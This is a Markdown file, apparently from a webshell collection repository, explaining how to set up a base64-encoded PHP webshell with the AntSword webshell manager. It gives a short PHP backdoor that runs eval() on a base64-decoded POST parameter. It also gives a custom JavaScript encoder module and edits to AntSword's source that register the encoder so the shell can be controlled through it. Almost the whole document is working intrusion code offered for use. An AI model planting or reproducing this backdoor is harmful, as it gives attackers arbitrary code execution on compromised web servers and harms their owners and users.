webshell/antSword/mybase.md

34 lines
886 B
Markdown
Raw Normal View History

2016-05-16 01:27:04 +00:00
shell code
```php
<?php
$a = $_POST['n985de9'];
if(isset($a)) {
eval(base64_decode($a));
}
?>
```
add : source/core/php/encoder/mybase64.js
2016-05-16 01:34:58 +00:00
![](https://raw.githubusercontent.com/tennc/webshell/master/antSword/2016051523140225737.png)
2016-05-16 01:27:04 +00:00
```js
module.exports = (pwd, data) => {
data[pwd] = new Buffer(data['_']).toString('base64');
delete data['_'];
return data;
}
```
edit : sources/core/php/index.js < add some code: regedit mybase64.js
2016-05-16 01:34:58 +00:00
![](https://raw.githubusercontent.com/tennc/webshell/master/antSword/2016051523132374985.png)
2016-05-16 01:27:04 +00:00
```js
get encoders() {
return ['chr', 'base64', 'mybase64'];
}
```
restart antsword, and add shell, select mybase64 encode for this shell code.
2016-05-16 01:34:58 +00:00
![](https://raw.githubusercontent.com/tennc/webshell/master/antSword/2016051523122747980.png)
2016-05-16 01:27:04 +00:00
2016-05-16 01:34:58 +00:00
![](https://raw.githubusercontent.com/tennc/webshell/master/antSword/2016051523124431883.png)